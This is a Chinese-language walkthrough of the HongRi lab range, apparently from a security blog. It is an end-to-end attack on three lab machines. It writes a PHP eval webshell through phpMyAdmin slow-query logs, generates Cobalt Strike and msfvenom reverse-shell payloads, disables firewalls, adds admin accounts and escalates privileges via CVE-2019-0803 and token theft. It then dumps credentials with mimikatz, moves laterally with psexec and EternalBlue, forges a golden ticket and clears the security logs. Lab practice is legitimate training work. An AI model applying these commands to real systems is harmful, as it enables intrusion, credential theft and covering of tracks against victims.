phpMyadmin后台getshell、令牌窃取提权、Win32k 特权提升漏洞
红日靶场1
环境配置
整体配置图如下
现在为三台靶机配置网卡
打开vm找到左上角编辑—>虚拟网络编辑器
添加一段虚拟网络VMnet2,设置为仅主机
配置攻击机kali
这里使用我自己虚拟机的kali作为攻击机,添加网络适配器,设置为双网卡NAT,vm1
不过这里配置好后执行ifconfig
后,并没有分配vm1网段的ip
手动添加一下
1 | sudo ip addr add 192.168.80.10/24 dev eth1 #分配ip |
配置win7 x64
设置win7 x64
为双网卡vm1,vm2
配置win2008
设置win2008
为单网卡vm2
配置win2k3
设置win2k3
为单网卡vm2
启动phpstudy服务
打开win7 x64
,用hongrisec@2019
密码进行登录(三台靶机密码相同)
找到C:\phpStudy
的phpstudy后启动服务,结果发现phpstudy停止工作
去网上搜了下找到解决办法,升级下虚拟机就行了
我这里选择最新的16.2版本
然后点击更改此虚拟机
升级好后重新打开win7 x64
,成功启动服务
访问localhost/yxcms
,出现下图说明搭建成功
注意:在渗透过程中所有主机都需要打开
信息搜集
用nmap扫描一下端口
1 | nmap -sC -v 192.168.80.128 |
扫描结果如下
1 | PORT STATE SERVICE |
存在80端口我们直接访问
dirsearch扫一下目录,忽略掉403
1 | dirsearch -u http://192.168.80.128/ -x 403 |
外网打点
扫出来发现有/phpMyadmin
,访问用root:root
成功登录
我们先看看是否有限制目录读写
1 | show variables like '%secure_file_priv%'; |
如果为null的话表示不允许数据的导入和导出,那么无法进行写文件和读文件
这里可以利用慢日志来写shell,我们先查看慢日志是否被启用以及日志文件的位置
1 | show variables like '%slow_query_log%'; |
我们写shell的话,这里需要开启慢查询并且修改日志文件存放路径
1 | set global slow_query_log=1; |
然后执行查询语句,把一句话木马写到shell.php里
1 | select '<?php @eval($_POST[1]);?>' or sleep(11); |
写完shell后用蚁剑连接
我们右键在此处打开终端
先看看是否存在杀软程序
1 | tasklist /SVC |
将执行结果复制到在线网站查询一下
可以看到这台机子没有杀软,那么就简单多了
打法一
联动蚁剑上线cs
我们直接联动蚁剑上线cs,在cs文件夹打开终端
1 | chmod +x teamserver #给予服务端程序teamserver 执行权限 |
开启服务端后,新建终端输入以下命令运行客户端程序
1 | java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar |
新建配置文件,连接CS服务器
(主机和密码就是刚刚设置的,用户名随便填一个)
客户端启动成功后,右上角添加本地监听器
右上角攻击 -> 生成后门 -> Windows Executable
,生成后门可执行文件
监听器选择刚刚创建的,勾选x64
将生成的可执行文件通过蚁剑上传到WWW目录下
右键打开终端,执行上传上去的shell.exe
成功上线cs
提升权限
方便操作,我们把回连间隔改为0使得输入的命令立刻执行
(实战不建议这样,容易被办)
右键进入beacon,上线cs第一件事把防火墙关了
1 | shell netsh advfirewall set allprofiles state off |
补充:也可以远程登陆关闭防火墙
尝试远程登陆
1 | shell net user rev1ve sz@2019 /add #添加账户密码 |
成功添加管理员用户
然后在攻击机执行以下命令
1 | rdesktop 192.168.80.128:3389 |
方法一
关闭防火墙后,右键执行 -> 提权
选择我们刚刚创建的监听器
执行exp,过一会拿到SYSTEM权限(把回连间隔也改为0)
方法二
尝试cve-2019-0803提权 exp链接
将下载的cve-2019-0803.exe上传到WWW目录下,执行以下命令
1 | shell cve-2019-0803.exe cmd "start shell.exe" |
相当于再启动shell.exe木马文件,过一会拿到SYSTEM权限
内网渗透
内网信息搜集
查看网络适配器
1 | shell ipconfig |
不难发现除了我们访问ip所在网段外,还存在内网192.168.52.0/24
的网段
查看本地用户信息
查看本地管理员组
域内信息搜集
判断是否存在域环境
1 | shell net config Workstation |
可以知道存在GOD域环境,域名为god.org
查看域列表
查看域用户信息
1 | shell wmic useraccount get Caption,Domain,Description |
我们目前拿到的shell就是位于STU1
查看主域控制器
通过查询时间服务器来找到主域控制器名称
1 | shell net time /domain |
定位主域控制器
拿到主域控制器名称后,执行以下命令定位目标主机在内网的IP
1 | shell ping owa.god.org |
探测内网存活主机
基于ICMP发现存活主机
1 | for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL=" |
也可以使用cs右键目标 -> 端口扫描
得到存活主机名单
1 | 192.168.52.143 #我们getshell机子的内网ip |
使用fscan扫描内网存活主机
由于目标网段是内网,我们需要搭建一个一级网络代理
这里就不赘述
用户凭据收集
抓取 Hash
抓取明文密码
右键选择执行 -> run mimikatz
内网横向移动
我们目前拿到的是内网ip为192.168.52.143的控制权
不过这台机子并不在GOD域内,我们尝试切换目标为ip是192.168.52.138的域控
由于刚刚扫描发现445端口开放
那么先创建SMB监听器
然后在左上角点击显示目标
右键选择jump -> psexec
然后选择我们刚刚创建的SMB监听器,对端连接的隧道选择system权限的
不清楚这里为什么失败,搁置了很久
后面参考别人的wp,想到应该是这里psexec对应的密码我们是修改过的,我们将域控原始密码hongrisec@2019
改为我们后面的新密码就行了
横向移动后,养成关闭防火墙习惯
成功进入域控,拿到最高权限
权限维持-黄金票据
这里需要再抓取一次hash和明文密码
抓取hash
右键选择执行 -> 转储hash
记住Krbtgt的hash值58e91a5ac358d86513ab224312314061
抓取明文密码
右键选择执行 -> run mimikatz
把SID,域名和hash复制下来
右键选择执行 -> 黄金票据
填进对应数据
出现下图视为成功
消除痕迹
在渗透过程中,痕迹清除非常非常重要,不清除容易被防守方溯源
1 | shell wevtutil cl security #清理安全日志 |
到这里整个打靶流程就结束了
打法二
联动蚁剑上线msf
我们先生成msf的木马文件
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.10 LPORT=1028 -f exe > exp.exe |
开启msf监听
1 | use exploit/multi/handler |
通过蚁剑上传木马文件并执行,拿到meterpreter会话
执行shell命令,输入chcp 65001
解决中文乱码问题
上线msf第一件事关闭防火墙
1 | netsh advfirewall set allprofiles state off |
权限提升
我们可以知道目前是administrator管理员权限
尝试窃取SYSTEM权限令牌,在meterpreter会话依次执行以下命令
1 | load incognito #加载incognito模块 |
成功拿到最高权限
内网渗透
内网信息搜集
和打法一相同不再赘述
域内信息搜集
和打法一相同不再赘述
探测内网存活主机
由于我们拿到shell了,利用后渗透阶段的基于arp协议探测
1 | run post/windows/gather/arp_scanner rhosts=192.168.52.0/24 |
用户凭据收集
抓取Hash
可以使用模块smart hashdump
1 | run windows/gather/smart_hashdump |
也可以执行以下命令
1 | run hashdump |
抓取明文密码
前提条件:
- SYSTEM权限
- meterpreter进程迁移到一个64位程序的进程中
使用msf中的kiwi模块
1 | load kiwi #加载kiwi模块 |
我们现在执行creds_all
不行,原因在于我们的meterpreter进程在86位进程中
我们可以选择迁移PID为516的lsass.exe进程
获取明文密码
内网横向移动
我们前面知道还存在192.168.52.0/24
网段,借助MSF 的 autoroute 模块去访问内网网段
静态路由配置
1 | #加载MSF的autoroute模块,获取当前机器的所有网段信息 |
可以看到已经存在该内网网段,就不用再添加了
尝试探测域控主机的445端口是否开放
使用auxiliary/scanner/portscan/tcp
模块
开启445端口的话,尝试使用永恒之蓝漏洞
1 | use exploit/windows/smb/ms17_010_eternalblue |
成功拿到域控的最高权限
参考文章
解决小皮停止工作:
靶场wp:
- https://blog.csdn.net/qq_52849046/article/details/139163010
- https://blog.csdn.net/qq_43531669/article/details/129945347
msf抓取明文密码: